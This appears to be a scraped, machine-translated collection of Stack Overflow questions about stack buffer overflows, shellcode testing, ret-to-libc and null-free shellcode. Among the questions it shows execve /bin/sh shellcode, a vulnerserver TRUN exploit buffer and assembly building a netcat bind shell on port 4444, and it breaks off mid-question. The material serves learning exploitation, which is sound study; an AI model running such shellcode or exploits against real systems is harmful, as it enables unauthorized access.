我一直试图运行Aleph One的例子来获得BOF并打开一个shell.
这是Aleph One论文:http://insecure.org/stf/smashstack.html
这是简单的C代码(几乎位于论文的一半):
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Run Code Online (Sandbox Code Playgroud)
现在,我尝试在SSH bash中运行此程序,但没有成功.
由于运行后没有任何反应,我猜测我只是没有写回程地址,所以我使用GDB来查看ret变量和实际返回地址之间的偏移量,并意识到它是7.
为了检查自己,我尝试增加3,4,5,6中的ret,实际上,只有当我将第10行更改为:
ret = (int *)&ret + 7;
Run Code Online (Sandbox Code Playgroud)
我遇到了分段错误.
但是,我不明白为什么没有打开bash而我得到了这个错误.
PS我正在使用'logic smashthestack'SSH服务器(其中一个挑战是BOF):http://logic.smashthestack.org:88 /
谢谢你的帮助.
我正在查看来自不安全编程的示例abo3.c,并且我没有在下面的示例中讨论转换.有人可以开导我吗?
int main(int argv,char **argc)
{
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];
fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}
Run Code Online (Sandbox Code Playgroud)
那么 - 系统的投射和投注是什么?他们都回归了int,为什么要把它变成无效?
我非常感谢对整个计划的解释.
[编辑]
感谢您的投入!
Jonathan Leffler,实际上代码有"坏"的原因.它应该是可利用的,溢出缓冲区和函数指针等.mishou.org有一篇关于如何利用上述代码的博客文章.其中很多仍然在我头上.
bta,我从上面的博客文章中得知,转换系统会以某种方式阻止链接器删除它.
有一点不能立即明确的是系统和放置地址都写在同一个位置,我想这可能是gera所说的"所以链接器不会删除它".
虽然我们讨论的是函数指针的主题,但现在我想问一个后续问题,即语法更清晰.我正在使用函数指针查看一些更高级的示例,并偶然发现这个可憎的东西,取自托管shellcode的站点.
#include <stdio.h>
char shellcode[] = "some shellcode";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
所以数组被强制转换为函数返回void,引用和调用?这看起来很讨厌 - 所以上面代码的目的是什么?
[/编辑]
通常我们都看到基本的缓冲区溢出格式,它具有: -
NOPs + shellcode + return_address
为什么我们不使用,
NOPs + return_address + shellcode?我们将返回地址指向shellcode的开头?
我猜这是因为如果漏洞位于main()中,我们可能会尝试在堆栈段外写入数据.我对吗?如果我,那是唯一的原因吗?
哦,是的,我不是指使用return-to-libc,ptrace等的其他类型的攻击; 我只想知道为什么最基本的缓冲区溢出攻击以第一种方式展示而不是第二种方式.
我正在尝试将我编写的汇编程序转换为无 NULL 的 shellcode。
但是,我不确定如何执行某些说明。
其中一些(采用英特尔语法)包括:
push 0x1000
Run Code Online (Sandbox Code Playgroud)
和
mov BYTE [eax],0x31
Run Code Online (Sandbox Code Playgroud)
我想避免使用数千inc eax条指令。我在想也许可以用xor-ing 值来一些创造性的东西,其次,也许可以设置一个标志来使其只需要 8 位的常量。
我写了一个简单的ASM文件并在我编写的C文件中运行它.我得了一个太阳故障.但是,当我执行编译的ASM文件时,我没有得到任何错误.
我正在运行64位并使用32位shellcode.这是问题吗?
它不可能,因为我得到了一个分段错误:
char shellcode[] = "\x90"; //simple NOP in ASM
int main(int argc, char **argv)
{
int (*ret)();
ret = (int (*)()) shellcode;
(int)(*ret)();
}
Run Code Online (Sandbox Code Playgroud)
有人可以运行这个并告诉我他们是否会出现分段错误.我也使用了3或4个其他C文件.没有人工作过.
更新:
((void(*)(void))code)();
Run Code Online (Sandbox Code Playgroud)
似乎代替这三条线.
我正在试验对Linux上用C编写的程序的控制流劫持攻击.我正在尝试对启用了No-eXecutable-stack对策的程序执行简单的ret-2-libc攻击.为此,我将返回system()带参数的函数/bin/sh.
但是我遇到了一个问题:虽然我的攻击有效并且shell成功生成,但是在进入第一个角色后shell立即退出!也就是说,按下任意键后shell关闭!
在这个简单的C代码中也可以观察到这种行为:
int main() { system("/bin/sh"); return 0; }
Run Code Online (Sandbox Code Playgroud)
我用它编译它: gcc code.c -o system
为什么是这样?我该如何解决?
我在尝试Ubuntu-9.04使用kernel 2.6.28和glibc-2.9-1
更新:当且仅当我按下的第一个键时,shell才会变为交互式Enter.也就是说,如果我输入的第一个字符是a new-line(\n),那么shell将保持打开状态并变为交互式.
所以有人能解释这里发生了什么吗?
我正在尝试将程序代码放入并执行到共享内存区域.初始化和分配共享内存以及将shellcode复制到"新"内存按预期工作,但是一旦我尝试执行它,它就不起作用.有谁知道问题可能是什么?
我想那write(1, 0x6000d8, 13) = -1 EFAULT (Bad address)可能是错误?可能是什么导致了这个?
我包含了代码和stract错误输出.C代码基于Adam Rosenfield在本期杂志中的回答.
C代码
#include <string.h>
#include <sys/mman.h>
// My own shellcode, obtained through objdump
// works on its own (a hello world-program)
const char shellcode[] = "\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0d\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05";
int main(int argc, char **argv)
{
void *mem = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
memcpy(mem, shellcode, sizeof(shellcode));
mprotect(mem, sizeof(shellcode), PROT_READ|PROT_WRITE|PROT_EXEC);
int (*func)();
func = (int (*)())mem;
(int)(*func)();
munmap(mem, sizeof(shellcode));
return 0;
}
Run Code Online (Sandbox Code Playgroud)
Strace日志
execve("./memory", ["./memory"], [/* 17 …Run Code Online (Sandbox Code Playgroud) 是否可以将字节连接到 str ?
>>> b = b'this is bytes'
>>> s = 'this is string'
>>> b + s
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: can't concat str to bytes
>>>
Run Code Online (Sandbox Code Playgroud)
基于上面的简单代码是不可能的。
我之所以问这个问题,是因为我看到了字节已连接到 str 的代码?这是代码的片段。
buf = ""
buf += "\xdb\xd1\xd9\x74\x24\xf4\x5a\x2b\xc9\xbd\x0e\x55\xbd"
buffer = "TRUN /.:/" + "A" * 2003 + "\xcd\x73\xa3\x77" + "\x90" * 16 + buf + "C" * (5060 - 2003 - 4 - 16 - len(buf))
Run Code Online (Sandbox Code Playgroud)
您可以在此处查看完整代码。
http://sh3llc0d3r.com/vulnserver-trun-command-buffer-overflow-exploit/
是否有一些工具可以将原始十六进制分解为汇编指令?例如:假设我们有\xeb\x1d根据这个在线反汇编程序反汇编成jmp 0x1f。那么有没有一些离线工具?我试过 ndasm 它没有给我正确的输出。
ndisam -b32 foo 给了我:
输出:
00000000 5C pop esp<br>
00000001 7833 js 0x36<br>
00000003 315C7865 xor [eax+edi*2+0x65],ebx<br>
00000007 620A bound ecx,[edx]
Run Code Online (Sandbox Code Playgroud)
它应该是 jmp 0x1f。我也试过 objdump 像:
objdump -D -b binary -mi386 -M intel foo
输出:
00000000 <.data>:<br>
0: 5c pop esp <br>
1: 78 33 js 0x36 <br>
3: 31 5c 78 65 xor DWORD PTR [eax+edi*2+0x65],ebx<br>
7: 62 0a bound ecx,QWORD PTR [edx]<br>
Run Code Online (Sandbox Code Playgroud)
所以你能告诉我一些将原始十六进制代码反汇编成汇编语言的工具吗?
我也尝试过 gdb,但我想要更灵活的东西。
我正在尝试执行以下操作execve:/bin//nc -lnke /bin/bash -p 4444
在阅读 的手册页时execve,我看到以下要求:
int execve(const char *filename, char *const argv[],
char *const envp[]);
Run Code Online (Sandbox Code Playgroud)
我遇到的问题是将参数推到argv; 我不明白你如何推动一个数组(在汇编中)以使其正常工作。
我目前使用的程序集如下:
global _start
_start:
xor eax, eax
; command
push eax
push 0x636e2f2f
push 0x6e69622f
mov ebx, esp
; args
push eax
push 0x34343434
push 0x20702d20
push 0x68736162
push 0x2f6e6962
push 0x2f20656b
push 0x6e6c2d20
mov ecx, esp
; null, arg 1
push eax
mov edx, esp
; push to stack
push edx
push ecx …Run Code Online (Sandbox Code Playgroud)